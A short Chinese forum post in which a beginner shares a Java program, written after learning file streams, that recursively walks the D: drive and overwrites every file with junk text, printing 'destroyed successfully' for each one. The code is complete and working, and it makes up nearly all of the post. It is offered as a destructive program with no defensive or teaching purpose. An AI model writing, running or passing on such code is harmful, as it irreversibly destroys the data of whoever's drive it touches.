刚学完流 搞了个破坏d盘说有文件的小程序
import java.io.*;
public class TestBiD{
public static void main(String args[]){
File f = new File("d:");
[/color]if(f.isDirectory())
{
tree(f);
}
else
{
try{FileOutputStream FO = new FileOutputStream(f);
OutputStreamWriter OSW = new OutputStreamWriter(FO);
OSW.write("baoju");
OSW.close();
FO.close();
System.out.println("破坏成功");
}catch(IOException e){e.printStackTrace();}
}
}
private static void tree(File s){
File[] trees = s.listFiles();
for(int i=0;i<trees.length;i++)
{
if(!(trees[i].isDirectory()))
{
try{FileOutputStream FO = new FileOutputStream(trees[i].getAbsolutePath());
OutputStreamWriter OSW = new OutputStreamWriter(FO);
OSW.write("dsfasjdfkajsdkfjaksdjfkajsdkf");
OSW.close();
FO.close();
System.out.println(trees[i].getName() + "破坏成功");
}catch(IOException e){e.printStackTrace();}
}
else
{[color=brown]
tree(trees[i]);
}
}
}
}